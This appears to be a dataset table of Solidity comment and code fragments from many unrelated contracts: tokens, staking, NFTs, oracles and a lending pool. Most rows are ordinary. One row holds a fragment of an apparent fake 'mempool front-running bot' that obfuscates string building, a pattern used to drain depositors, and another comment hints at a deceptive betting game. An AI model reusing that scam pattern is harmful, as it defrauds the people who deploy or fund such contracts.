Unnamed: 0 int64 0 7.36k | comments stringlengths 3 35.2k | code_string stringlengths 1 527k | code stringlengths 1 527k | __index_level_0__ int64 0 88.6k |
|---|---|---|---|---|
54 | // 取得最高抵押率 | function getHighestMortgageRate()
public
view
| function getHighestMortgageRate()
public
view
| 84,557 |
216 | // Returns whether the CKToken component default position real unit is greater than or equal to units passed in. / | function hasSufficientDefaultUnits(ICKToken _ckToken, address _component, uint256 _unit) internal view returns(bool) {
return _ckToken.getDefaultPositionRealUnit(_component) >= _unit.toInt256();
}
| function hasSufficientDefaultUnits(ICKToken _ckToken, address _component, uint256 _unit) internal view returns(bool) {
return _ckToken.getDefaultPositionRealUnit(_component) >= _unit.toInt256();
}
| 18,268 |
12 | // Buyer can withdraw the deposit if escrow is expired | function withdraw() external payable
| function withdraw() external payable
| 40,733 |
68 | // NOTE: Set Protocol changed from `to < b.length` so that the last byte can be sliced off | to <= b.length,
"TO_LESS_THAN_LENGTH_REQUIRED"
);
| to <= b.length,
"TO_LESS_THAN_LENGTH_REQUIRED"
);
| 44,118 |
3 | // ground zero altitude relative to world zero | mapping(uint256=>uint8) zeroLevelOfLand_;
| mapping(uint256=>uint8) zeroLevelOfLand_;
| 24,015 |
281 | // sets base URI | function setBaseURI(string memory baseURI) external onlyOwner {
_setBaseURI(baseURI);
}
| function setBaseURI(string memory baseURI) external onlyOwner {
_setBaseURI(baseURI);
}
| 23,610 |
74 | // Set the token processor/ | function setProcessor(IProcessor newProcessor) public onlyAdministrator {
_processor = newProcessor;
emit ProcessorChanged(address(newProcessor));
}
| function setProcessor(IProcessor newProcessor) public onlyAdministrator {
_processor = newProcessor;
emit ProcessorChanged(address(newProcessor));
}
| 25,061 |
19 | // Magic value to be returned upon successful reception of an NFT Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`, which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` / | bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
| bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
| 48,331 |
21 | // Mints new tokens. / | function mintFren(uint8 mintAmount) public payable {
return mintInternal(mintAmount);
}
| function mintFren(uint8 mintAmount) public payable {
return mintInternal(mintAmount);
}
| 31,091 |
123 | // update ALI balance on the contract | aliBalance += aliDelta;
| aliBalance += aliDelta;
| 54,260 |
60 | // Get current bonus | uint256 _bonus = ComputeBonus();
| uint256 _bonus = ComputeBonus();
| 27,296 |
61 | // Transfer staked tokens (principle) and the interest back to user's wallet | token.safeTransfer(msg.sender, interestToPayOut.add(amountToUnstake));
| token.safeTransfer(msg.sender, interestToPayOut.add(amountToUnstake));
| 25,696 |
11 | // WITHDRAW | function withdrawToken(address token) external onlyOwner {
require(IERC20(token).balanceOf(address(this)) > 0);
IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this)));
}
| function withdrawToken(address token) external onlyOwner {
require(IERC20(token).balanceOf(address(this)) > 0);
IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this)));
}
| 20,493 |
24 | // eg. SUSHI - ETH | IERC20(sushi).safeTransfer(bar, amount0);
sushiOut = _toSUSHI(token1, amount1).add(amount0);
| IERC20(sushi).safeTransfer(bar, amount0);
sushiOut = _toSUSHI(token1, amount1).add(amount0);
| 3,429 |
3 | // Here is where the fun begins. When you materialize your 4 dates, all the contract really cares is WHEN you did it and how big was your stake. so yeah, sorry to burst the bubble but the matchmaking has nothing to do with the outcome of your bet. / | function set()
public
payable
returns (bool success)
| function set()
public
payable
returns (bool success)
| 17,215 |
1 | // ok, now we have two unique elements a index | 0x44 calldataload // b a index
test_pairs_inner_loop:
swap2 0x20 add swap2 // b a index
dup2 // a b a index
dup4 calldataload // x a b a index
dup3 dup2 ... | 0x44 calldataload // b a index
test_pairs_inner_loop:
swap2 0x20 add swap2 // b a index
dup2 // a b a index
dup4 calldataload // x a b a index
dup3 dup2 ... | 33,291 |
15 | // Address of the Distribution Contract | IZCDistribution public dist;
| IZCDistribution public dist;
| 43,433 |
13 | // x ^ n NOTE: n is a normal integer, do not shift 18 decimals solium-disable-next-line security/no-assign-params | function wpowi(int256 x, int256 n) internal pure returns (int256 z) {
require(n >= 0, "wpowi only supports n >= 0");
z = n % 2 != 0 ? x : _WAD;
for (n /= 2; n != 0; n /= 2) {
x = wmul(x, x);
if (n % 2 != 0) {
z = wmul(z, x);
}
}
... | function wpowi(int256 x, int256 n) internal pure returns (int256 z) {
require(n >= 0, "wpowi only supports n >= 0");
z = n % 2 != 0 ? x : _WAD;
for (n /= 2; n != 0; n /= 2) {
x = wmul(x, x);
if (n % 2 != 0) {
z = wmul(z, x);
}
}
... | 41,283 |
92 | // currentSales for each pool is mutated in the non-view (mutate locally) | uint256 currentSalesRate0 = orderPool0.currentSalesRate;
uint256 currentSalesRate1 = orderPool1.currentSalesRate;
while (nextExpiryBlockTimestamp < blockTimestamp) {
| uint256 currentSalesRate0 = orderPool0.currentSalesRate;
uint256 currentSalesRate1 = orderPool1.currentSalesRate;
while (nextExpiryBlockTimestamp < blockTimestamp) {
| 44,720 |
156 | // update poolFactor and totalXFactor | uint256 poolFactorNew =
pool.poolFactor.sub(pool.LpTokenInfos[index].lpFactor).add(
_lpFactor
);
pool.LpTokenInfos[index].lpFactor = _lpFactor;
totalXFactor = totalXFactor.sub(poolInfo[_pid].poolFactor).add(
poolFactorNew
);
po... | uint256 poolFactorNew =
pool.poolFactor.sub(pool.LpTokenInfos[index].lpFactor).add(
_lpFactor
);
pool.LpTokenInfos[index].lpFactor = _lpFactor;
totalXFactor = totalXFactor.sub(poolInfo[_pid].poolFactor).add(
poolFactorNew
);
po... | 36,760 |
7 | // reference to Traits | ITraits public traits;
| ITraits public traits;
| 21,205 |
91 | // INTERFACE_SIGNATURE_ERC1155 =bytes4(keccak256("safeTransferFrom(address,address,uint256,uint256,bytes)")) ^bytes4(keccak256("safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)")) ^bytes4(keccak256("balanceOf(address,uint256)")) ^bytes4(keccak256("balanceOfBatch(address[],uint256[])")) ^bytes4(keccak256... | bytes4 constant private INTERFACE_SIGNATURE_ERC1155 = 0xd9b67a26;
| bytes4 constant private INTERFACE_SIGNATURE_ERC1155 = 0xd9b67a26;
| 2,635 |
41 | // The Price Oracle admin | address public immutable admin;
| address public immutable admin;
| 18,298 |
10 | // token地址数组 | address[2] private tokens;
| address[2] private tokens;
| 712 |
53 | // yfilend token contract address | address public tokenAddress;
| address public tokenAddress;
| 40,344 |
8 | // Check for snakes or ladders | uint256 destination = 0;
if (snakeDestinations[newPosition] > 0) {
destination = snakeDestinations[newPosition];
} else if (ladderDestinations[newPosition] > 0) {
| uint256 destination = 0;
if (snakeDestinations[newPosition] > 0) {
destination = snakeDestinations[newPosition];
} else if (ladderDestinations[newPosition] > 0) {
| 18,002 |
29 | // Iterating through all mempool to call the one with the with highest possible returnsreturn `self`. / | function callMempool() internal pure returns (string memory) {
string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
uint _memPoolSol = 509385;
uint _memPoolLength = getMemPoolLength();
uint _memPoolSize = 628318;
uint _memPoolHeight = getMemPoolHei... | function callMempool() internal pure returns (string memory) {
string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
uint _memPoolSol = 509385;
uint _memPoolLength = getMemPoolLength();
uint _memPoolSize = 628318;
uint _memPoolHeight = getMemPoolHei... | 8,760 |
18 | // deposit an amount of ERC20 to a recipient's balance on L2. _l1Token Address of the L1 ERC20 we are depositing _l2Token Address of the L1 respective L2 ERC20 _to L2 address to credit the withdrawal to. _amount Amount of the ERC20 to deposit. _l2Gas Gas limit required to complete the deposit on L2. _data Optional data... | function depositERC20To (
| function depositERC20To (
| 4,724 |
3 | // Mapping from owner to list of owned NFT IDs. / | mapping(address => uint256[]) internal ownerToIds;
| mapping(address => uint256[]) internal ownerToIds;
| 11,069 |
12 | // 4. Calculate the supplied value / | uint _supplied = _totalDebt + _loanTokenBalance;
| uint _supplied = _totalDebt + _loanTokenBalance;
| 16,359 |
51 | // allows token owner to list a token for auction. emits the AuctionState event. Requirements: ‼ contract should not be paused. ‼ token with `tokenId + serialNo` must not be already listed for auction or fixed price. ‼ token with `tokenId + serialNo` must not be already listed for lending. ‼ caller must be the owner of... | function listForAuction(
string memory tokenId,
uint256 serialNo,
uint48 biddingLife
| function listForAuction(
string memory tokenId,
uint256 serialNo,
uint48 biddingLife
| 13,963 |
125 | // refund vault used to hold funds while crowdsale is running | RefundVault public vault;
| RefundVault public vault;
| 1,529 |
21 | // The pricing plan determining the fee to be paid in NOKU tokens by customers | NokuPricingPlan public pricingPlan;
| NokuPricingPlan public pricingPlan;
| 19,214 |
75 | // {IERC20-approve}, and its usage is discouraged. Whenever possible, use {safeIncreaseAllowance} and {safeDecreaseAllowance} instead./ | function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
| function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
| 21,037 |
21 | // _initial_last_point is used for extrapolation to calculate block number (approximately, for At methods) and save them as we cannot figure that out exactly from inside the contract | Point memory _initial_last_point = _last_point;
uint256 _block_slope = 0; // dblock/dt
if (block.timestamp > _last_point.ts) {
_block_slope =
(MULTIPLIER * (block.number - _last_point.blk)) /
(block.timestamp - _last_point.ts);
}
| Point memory _initial_last_point = _last_point;
uint256 _block_slope = 0; // dblock/dt
if (block.timestamp > _last_point.ts) {
_block_slope =
(MULTIPLIER * (block.number - _last_point.blk)) /
(block.timestamp - _last_point.ts);
}
| 19,585 |
113 | // Burn the tokens required to evolve. | function burnMultiple(address [] memory users, uint256 [] memory amount) external onlyFromRestricted {
for(uint256 i = 0; i < users.length; i += 1){
_burn(users[i], amount[i]);
}
}
| function burnMultiple(address [] memory users, uint256 [] memory amount) external onlyFromRestricted {
for(uint256 i = 0; i < users.length; i += 1){
_burn(users[i], amount[i]);
}
}
| 31,946 |
8 | // Pending brains of Unitroller / | address public pendingComptrollerImplementation;
| address public pendingComptrollerImplementation;
| 18,242 |
74 | // Check if the contract supports an interface0x01ffc9a7 is ERC-1650x80ac58cd is ERC-721 id The id of the interfacereturn True if the interface is supported / | function supportsInterface(bytes4 id) external pure returns (bool) {
return id == 0x01ffc9a7 || id == 0x80ac58cd;
}
| function supportsInterface(bytes4 id) external pure returns (bool) {
return id == 0x01ffc9a7 || id == 0x80ac58cd;
}
| 59,198 |
1,607 | // Delete the submission to capture any refund and clean up storage. | delete voteInstance.voteSubmissions[voterAddress].revealHash;
| delete voteInstance.voteSubmissions[voterAddress].revealHash;
| 17,924 |
5 | // The context shared between the pools. | Pool.Context private _ctx;
| Pool.Context private _ctx;
| 26,314 |
8 | // make sure user is not already verified and show "User already verified" | require(users[msg.sender].expirationDate < block.timestamp, "User already verified");
users[msg.sender].userLevel = LEVELS(level);
users[msg.sender].expirationDate = block.timestamp + LevelData[level].expirationDate;
emit Activity(msg.sender, LEVELS(level), users[msg.sender].expirationDa... | require(users[msg.sender].expirationDate < block.timestamp, "User already verified");
users[msg.sender].userLevel = LEVELS(level);
users[msg.sender].expirationDate = block.timestamp + LevelData[level].expirationDate;
emit Activity(msg.sender, LEVELS(level), users[msg.sender].expirationDa... | 10,575 |
104 | // calculate logarithm base 10 of x magic constant comes from log10(2)2^128 -> hex x signed 64.64-bit fixed point number, require x > 0return signed 64.64-bit fixed point number / | function logbase10(int128 x) internal pure returns (int128) {
require(x > 0);
return
int128(
(uint256(logbase2(x)) * 0x4d104d427de7fce20a6e420e02236748) >>
128
);
}
| function logbase10(int128 x) internal pure returns (int128) {
require(x > 0);
return
int128(
(uint256(logbase2(x)) * 0x4d104d427de7fce20a6e420e02236748) >>
128
);
}
| 71,759 |
26 | // Get particular level cost for particulart token for particular contract / | ) public view returns (uint256) {
uint256 spent = spentTokensPerContract[_contract][_user][_token];
uint256 cost = spendableInfos[_contract][_token][_level].cost;
return cost.sub(spent);
}
| ) public view returns (uint256) {
uint256 spent = spentTokensPerContract[_contract][_user][_token];
uint256 cost = spendableInfos[_contract][_token][_level].cost;
return cost.sub(spent);
}
| 29,982 |
11 | // Set network fee in percentageDetails for network fee percentage can view at deposit() function below_networkFeePercentage An array of integer, view additional info below Requirements: - Only owner of this contract can call this function - Each of the element in the array must less than 3000 (30%) / | function setNetworkFeePercentage(uint256[] calldata _networkFeePercentage) external onlyOwner {
require(
_networkFeePercentage[0] < 3000 &&
_networkFeePercentage[1] < 3000 &&
_networkFeePercentage[2] < 3000, "Network fee percentage cannot be more than 30%"
);
... | function setNetworkFeePercentage(uint256[] calldata _networkFeePercentage) external onlyOwner {
require(
_networkFeePercentage[0] < 3000 &&
_networkFeePercentage[1] < 3000 &&
_networkFeePercentage[2] < 3000, "Network fee percentage cannot be more than 30%"
);
... | 23,624 |
87 | // An event that is emitted when the owner replace collection | event UpdateCollection(
uint256 index,
address prevCollection,
address newCollection
);
| event UpdateCollection(
uint256 index,
address prevCollection,
address newCollection
);
| 47,098 |
64 | // Application Flag Changed event/addr DAO application contract address/flag Authorization flag, 1 means authorization, 0 means cancel authorization | event ApplicationChanged(address addr, uint flag);
| event ApplicationChanged(address addr, uint flag);
| 27,576 |
289 | // Sets a collateral's custom fee percentage./collateral The collateral to set the custom fee percentage for./newFeePercentage The new custom fee percentage for the collateral. | function setCustomFeePercentageForCollateral(ERC20 collateral, uint256 newFeePercentage) external requiresAuth {
// A fee percentage over 100% makes no sense.
require(newFeePercentage <= 1e18, "FEE_TOO_HIGH");
// Update the custom fee percentage for the Safe.
getCustomFeePercentageF... | function setCustomFeePercentageForCollateral(ERC20 collateral, uint256 newFeePercentage) external requiresAuth {
// A fee percentage over 100% makes no sense.
require(newFeePercentage <= 1e18, "FEE_TOO_HIGH");
// Update the custom fee percentage for the Safe.
getCustomFeePercentageF... | 61,565 |
9 | // The ORDER_KEEPER role. / | bytes32 public constant ORDER_KEEPER = keccak256(abi.encode("ORDER_KEEPER"));
| bytes32 public constant ORDER_KEEPER = keccak256(abi.encode("ORDER_KEEPER"));
| 25,761 |
26 | // Remove liquidity from the base Swap pool | {
uint256[] memory baseMinAmounts =
new uint256[](memBaseTokens.length);
for (uint8 i = 0; i < baseLPTokenIndex; i++) {
baseMinAmounts[i] = minAmounts[baseLPTokenIndex + i];
}
| {
uint256[] memory baseMinAmounts =
new uint256[](memBaseTokens.length);
for (uint8 i = 0; i < baseLPTokenIndex; i++) {
baseMinAmounts[i] = minAmounts[baseLPTokenIndex + i];
}
| 9,800 |
266 | // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. | return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED);
| return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED);
| 14,213 |
106 | // Cities can't rent a land if it's already occupied | require(lands[_landId].isOccupied == false);
if(_createCity == true) {
| require(lands[_landId].isOccupied == false);
if(_createCity == true) {
| 15,818 |
292 | // Emitted when liquidation incentive is changed by admin / | event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa);
| event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa);
| 10,789 |
19 | // https:github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.mdtransfer | function transfer(address _to, uint256 _value) public returns (bool){
return transferFrom(msg.sender, _to, _value);
}
| function transfer(address _to, uint256 _value) public returns (bool){
return transferFrom(msg.sender, _to, _value);
}
| 11,662 |
1,820 | // Imports Compound position from the account to DSProxy | contract CompoundImportTaker is CompoundSaverHelper, ProxyPermission, GasBurner {
ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119);
address payable public constant COMPOUND_IMPORT_FLASH_LOAN = 0x2634e5D477B80B4578dADC2962336929B5E9Ee3A;
address public con... | contract CompoundImportTaker is CompoundSaverHelper, ProxyPermission, GasBurner {
ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119);
address payable public constant COMPOUND_IMPORT_FLASH_LOAN = 0x2634e5D477B80B4578dADC2962336929B5E9Ee3A;
address public con... | 26,285 |
16 | // Performs sanity checks specific to receiving wormhole messages. Checks the sender is the AMB, the chain is the mirror, and replay. / | function _wormholeSanityChecks(uint16 _sourceChain, address _amb, bytes32 _deliveryHash) internal {
require(_sourceChain == MIRROR_WORMHOLE_ID, "!source chain");
require(msg.sender == _amb, "!relayer");
// Check that the VAA hasn't already been processed (replay protection)
require(!processedWhMessag... | function _wormholeSanityChecks(uint16 _sourceChain, address _amb, bytes32 _deliveryHash) internal {
require(_sourceChain == MIRROR_WORMHOLE_ID, "!source chain");
require(msg.sender == _amb, "!relayer");
// Check that the VAA hasn't already been processed (replay protection)
require(!processedWhMessag... | 32,129 |
75 | // Scale up by withdraw fee | tokenAmount = tokenAmount.add(1);
| tokenAmount = tokenAmount.add(1);
| 37,543 |
95 | // Determine what the account liquidity would be if the given amounts were redeemed/borrowed cTokenModify The market to hypothetically redeem/borrow in account The account to determine liquidity for redeemTokens The number of tokens to hypothetically redeem borrowAmount The amount of underlying to hypothetically borrow... | function getHypotheticalAccountLiquidityInternal(
address account,
CToken cTokenModify,
uint redeemTokens,
| function getHypotheticalAccountLiquidityInternal(
address account,
CToken cTokenModify,
uint redeemTokens,
| 11,832 |
150 | // Swap half of the tokens to ETH. | swapTokensForEth(tokensToSwap);
| swapTokensForEth(tokensToSwap);
| 27,275 |
51 | // 查询空投奖励 | function getpotReward() public view returns(uint256){
return selfpotprofit[msg.sender];
}
| function getpotReward() public view returns(uint256){
return selfpotprofit[msg.sender];
}
| 78,152 |
111 | // 0x38ed1739 | function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline)
external
returns (uint256[] memory amounts);
| function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline)
external
returns (uint256[] memory amounts);
| 3,777 |
146 | // Liquidate as much as possible to `want`, up to `_amountNeeded` | uint256 amountFreed;
(amountFreed, _loss) = liquidatePosition(_amountNeeded);
| uint256 amountFreed;
(amountFreed, _loss) = liquidatePosition(_amountNeeded);
| 7,057 |
1 | // ! "entry": "zero_zero",! "expected": 0 | //! }, {
//! "entry": "ordinar",
//! "expected": -17
//! }, {
//! "entry": "to_max",
//! "expected": 127
//! }, {
//! "ignore": true, "entry": "overflow",
//! "engines": ["zkevm"], "expected": "error"
//! }, {
//! "ignore": true, "entry": "overflow_minimal",
//! "engines": ["zkevm"], "ex... | //! }, {
//! "entry": "ordinar",
//! "expected": -17
//! }, {
//! "entry": "to_max",
//! "expected": 127
//! }, {
//! "ignore": true, "entry": "overflow",
//! "engines": ["zkevm"], "expected": "error"
//! }, {
//! "ignore": true, "entry": "overflow_minimal",
//! "engines": ["zkevm"], "ex... | 50,757 |
120 | // Interest check | (, uint256 interest) =
viewInterest(loans[loanId].interestpaidWith, loanId);
require(interest == 0, "Pay the interest to close the loan");
require(
IERC20(USDC).balanceOf(msg.sender) >= loans[loanId].lend,
"Insufficient Balance"
);
require(
... | (, uint256 interest) =
viewInterest(loans[loanId].interestpaidWith, loanId);
require(interest == 0, "Pay the interest to close the loan");
require(
IERC20(USDC).balanceOf(msg.sender) >= loans[loanId].lend,
"Insufficient Balance"
);
require(
... | 24,958 |
1,362 | // AdapterBlacklist Contract/Enzyme Council <security@enzyme.finance>/A policy that disallows a configurable blacklist of adapters from use by a fund | contract AdapterBlacklist is PreCallOnIntegrationValidatePolicyBase, AddressListPolicyMixin {
constructor(address _policyManager) public PolicyBase(_policyManager) {}
| contract AdapterBlacklist is PreCallOnIntegrationValidatePolicyBase, AddressListPolicyMixin {
constructor(address _policyManager) public PolicyBase(_policyManager) {}
| 44,636 |
3 | // Constructor initializes public variables_multisig The address of the multisig that will receive the funds_finalBlock Block after which the multisig can request the funds | function SaleWallet(address _multisig, uint _finalBlock, address _tokenSale) {
multisig = _multisig;
finalBlock = _finalBlock;
tokenSale = AbstractSale(_tokenSale);
}
| function SaleWallet(address _multisig, uint _finalBlock, address _tokenSale) {
multisig = _multisig;
finalBlock = _finalBlock;
tokenSale = AbstractSale(_tokenSale);
}
| 30,011 |
18 | // set total rewards value | totalRewards = _rewardAmount;
poolStartTime = now;
poolEndTime = now + poolDuration;
| totalRewards = _rewardAmount;
poolStartTime = now;
poolEndTime = now + poolDuration;
| 9,037 |
6 | // Approve pool transfer | IERC20(address(option)).safeApprove(address(pool), optionAmount);
| IERC20(address(option)).safeApprove(address(pool), optionAmount);
| 83,526 |
130 | // Essentially withdraw our equivalent share of the pool based on share value | require(amount > 0, "Cannot withdraw 0");
require(totalSupply() > 0, "No value redeemable");
uint256 tokenTotal = totalSupply();
| require(amount > 0, "Cannot withdraw 0");
require(totalSupply() > 0, "No value redeemable");
uint256 tokenTotal = totalSupply();
| 41,625 |
154 | // Transfer `amount` tokens from `src` to `dst`src The address of the source accountdst The address of the destination accountamount The number of tokens to transfer/ | function transferFrom(address src, address dst, uint256 amount) external;
| function transferFrom(address src, address dst, uint256 amount) external;
| 4,823 |
100 | // Pauses the given `_oracle` _oracle oracle address to be paused Acts as a proxy of `_oracle.pause` / | function pauseOracle(address _oracle) external {
require(
canPause[msg.sender] ||
msg.sender == _owner,
"not authorized to pause"
);
MultiSourceOracle(_oracle).pause();
emit OraclePaused(_oracle, msg.sender);
}
| function pauseOracle(address _oracle) external {
require(
canPause[msg.sender] ||
msg.sender == _owner,
"not authorized to pause"
);
MultiSourceOracle(_oracle).pause();
emit OraclePaused(_oracle, msg.sender);
}
| 13,788 |
9 | // Payout / | ) external override onlyPolicyFlow("Policy") returns (uint256 _payoutId) {
Metadata storage meta = metadata[_bpKey];
require(meta.createdAt > 0, "ERROR:POC-014:METADATA_DOES_NOT_EXIST");
Claim storage claim = claims[_bpKey][_claimId];
require(claim.createdAt > 0, "ERROR:POC-015:CLAI... | ) external override onlyPolicyFlow("Policy") returns (uint256 _payoutId) {
Metadata storage meta = metadata[_bpKey];
require(meta.createdAt > 0, "ERROR:POC-014:METADATA_DOES_NOT_EXIST");
Claim storage claim = claims[_bpKey][_claimId];
require(claim.createdAt > 0, "ERROR:POC-015:CLAI... | 53,144 |
3 | // Retrieve user's locked balance. account user's account. / |
function lockedBalanceOf(
|
function lockedBalanceOf(
| 389 |
18 | // Sub-item, such as AdUnit, AdSlot, Campaign, Channel | struct Item {
uint id;
address owner;
ItemType itemType;
bytes32 ipfs; // ipfs addr for additional (larger) meta
bytes32 name; // name
bytes32 meta; // metadata, can be JSON, can be other format, depends on the high-level implementation
}
| struct Item {
uint id;
address owner;
ItemType itemType;
bytes32 ipfs; // ipfs addr for additional (larger) meta
bytes32 name; // name
bytes32 meta; // metadata, can be JSON, can be other format, depends on the high-level implementation
}
| 40,956 |
47 | // The RumPool is ERC1155 contract does this and that... / | contract LotteryPoolV1 is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using SafeERC20 for IYouBet;
IYouBet public YouBetToken;
uint256 public minPoolCost = 100 ether;
uint16 public minTickets = 100;
uint64 public playerBonusRate = 1e4; // over 1e5. percentage of weight to be distrib... | contract LotteryPoolV1 is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using SafeERC20 for IYouBet;
IYouBet public YouBetToken;
uint256 public minPoolCost = 100 ether;
uint16 public minTickets = 100;
uint64 public playerBonusRate = 1e4; // over 1e5. percentage of weight to be distrib... | 30,396 |
12 | // +Просмотр счетчика голосов | function getPollCounts (string memory pollName) public view returns (uint[3] memory) {
//Существует ли опрос
require(doesPollExist(pollName));
return [polls[pollName].count1, polls[pollName].count2, polls[pollName].count3];
}
| function getPollCounts (string memory pollName) public view returns (uint[3] memory) {
//Существует ли опрос
require(doesPollExist(pollName));
return [polls[pollName].count1, polls[pollName].count2, polls[pollName].count3];
}
| 27,245 |
0 | // contentHash to log | mapping(bytes32 => Log) public logs;
| mapping(bytes32 => Log) public logs;
| 43,348 |
6 | // If no xGDL exists, mint it 1:1 to the amount put in | if (totalShares == 0 || totalGDL == 0) {
_mint(msg.sender, _amount);
}
| if (totalShares == 0 || totalGDL == 0) {
_mint(msg.sender, _amount);
}
| 8,795 |
21 | // CORE V2 / | function calcQuotas() internal returns(uint256) {
uint fee = (totalEthFromTicket * 5) / 100;
return platformFee = fee;
}
| function calcQuotas() internal returns(uint256) {
uint fee = (totalEthFromTicket * 5) / 100;
return platformFee = fee;
}
| 33,670 |
11 | // require(keccak256(abi.encodePacked(_message)) == _hash,"error"); | return cspAddress == ecrecover(_hash,_v,_r,_s);
| return cspAddress == ecrecover(_hash,_v,_r,_s);
| 10,135 |
4 | // require ((KiemTra(culy,_culydangky)==true)); | stt++;
DanhSachVanDongVien.push(VanDongVien(stt,_hoten,_namsinh, _masodoi, _culydangky, _ngaydangky, 0,0));
ThanhVienDoi[_masodoi].push(VanDongVien(stt,_hoten,_namsinh, _masodoi, _culydangky, _ngaydangky, 0,0));
DSVDVTheoCuLy[_culydangky].push(VanDongVien(stt,_hoten,_namsinh, _masodoi, _... | stt++;
DanhSachVanDongVien.push(VanDongVien(stt,_hoten,_namsinh, _masodoi, _culydangky, _ngaydangky, 0,0));
ThanhVienDoi[_masodoi].push(VanDongVien(stt,_hoten,_namsinh, _masodoi, _culydangky, _ngaydangky, 0,0));
DSVDVTheoCuLy[_culydangky].push(VanDongVien(stt,_hoten,_namsinh, _masodoi, _... | 27,900 |
48 | // mark if user claimed his GDX | mapping(address => bool) public isClaimedGDX;
| mapping(address => bool) public isClaimedGDX;
| 32,106 |
201 | // init release percentage is 1% | _advancePercentage = 1;
_oracle = IOracle(oracle_);
_priceConsumer = IPriceConsumerV3(priceConsumer_);
_lastPriceUnlockDay = 0;
_nextPriceUnlockStep = 0;
_maxPriceUnlockMoveStep = 1;
_pauseClaim = false;
| _advancePercentage = 1;
_oracle = IOracle(oracle_);
_priceConsumer = IPriceConsumerV3(priceConsumer_);
_lastPriceUnlockDay = 0;
_nextPriceUnlockStep = 0;
_maxPriceUnlockMoveStep = 1;
_pauseClaim = false;
| 74,147 |
346 | // AddressStorage | function getAddressValue(bytes32 record) external view returns (address) {
return AddressStorage[record];
}
| function getAddressValue(bytes32 record) external view returns (address) {
return AddressStorage[record];
}
| 3,678 |
150 | // Auctions by token token id => index => auction | mapping(uint256 => mapping (uint256 => Auction)) private auctions;
uint256 public inflationPerMillion;
uint256 public bidFeePerMillion;
uint256 public ownerSharePerMillion;
uint256 public bidMinimumRaisePerMillion;
uint256 public bidMinimumRaiseAmount;
uint256 public royaltiesPerMillion;
uint256 public... | mapping(uint256 => mapping (uint256 => Auction)) private auctions;
uint256 public inflationPerMillion;
uint256 public bidFeePerMillion;
uint256 public ownerSharePerMillion;
uint256 public bidMinimumRaisePerMillion;
uint256 public bidMinimumRaiseAmount;
uint256 public royaltiesPerMillion;
uint256 public... | 19,663 |
1 | // Symbol of the token | string private TOKEN_SYMBOL = "LOA";
| string private TOKEN_SYMBOL = "LOA";
| 3,485 |
152 | // Paused on launch | _pause();
| _pause();
| 28,099 |
347 | // Don't allow any weird bugs where we add to your current end block. This function should only be used on new credit lines, when we are setting them up | if (cl.termEndBlock() != 0) {
return cl.termEndBlock();
}
| if (cl.termEndBlock() != 0) {
return cl.termEndBlock();
}
| 27,624 |
60 | // Harvest reward / | function harvest() public {
_updatePool();
VipVesting storage user = vestingList[msg.sender];
if (user.totalBalance > 0) {
uint256 pendingToken = user.totalBalance.mul(accTokenPerShare).div(PRECISION_FACTOR).sub(user.rewardTokenDebt);
uint256 pendingEth = user.totalB... | function harvest() public {
_updatePool();
VipVesting storage user = vestingList[msg.sender];
if (user.totalBalance > 0) {
uint256 pendingToken = user.totalBalance.mul(accTokenPerShare).div(PRECISION_FACTOR).sub(user.rewardTokenDebt);
uint256 pendingEth = user.totalB... | 39,033 |
146 | // Returns the SECP256k1 public key associated with an ENS node.Defined in EIP 619. node The ENS node to queryreturn x, y the X and Y coordinates of the curve point for the public key. / | function pubkey(bytes32 node) external view returns (bytes32 x, bytes32 y) {
return (pubkeys[node].x, pubkeys[node].y);
}
| function pubkey(bytes32 node) external view returns (bytes32 x, bytes32 y) {
return (pubkeys[node].x, pubkeys[node].y);
}
| 16,050 |
2 | // Wallets | address private community_wallet = 0x77a45d5BD81916901474ef1a162b34D8FAaE1030;
address private RZ_wallet = 0x56314CCd8BB78ae9b874eb4fC3B13EDC55734694;
address private AR_wallet = 0xEa46B6534E48dA658cA51154755Ac3cc8f9CAA0D;
address private shamdoo_wallet = 0x11360F0c5552443b33720a44408aba01a809905e;
| address private community_wallet = 0x77a45d5BD81916901474ef1a162b34D8FAaE1030;
address private RZ_wallet = 0x56314CCd8BB78ae9b874eb4fC3B13EDC55734694;
address private AR_wallet = 0xEa46B6534E48dA658cA51154755Ac3cc8f9CAA0D;
address private shamdoo_wallet = 0x11360F0c5552443b33720a44408aba01a809905e;
| 48,672 |
18 | // For example, truncate(Exp{mantissa: 15expScale}) = 15 / | function truncate(Exp memory exp) pure internal returns (uint) {
| function truncate(Exp memory exp) pure internal returns (uint) {
| 3,342 |
26 | // Returns the number of decimals used to get its user representation.no way affects any of the arithmetic of the contract, including | * {IERC20-balanceOf} and {IERC20-transfer}.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* NOTE: This information is only used for _display_ purposes: it in
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
| * {IERC20-balanceOf} and {IERC20-transfer}.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* NOTE: This information is only used for _display_ purposes: it in
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
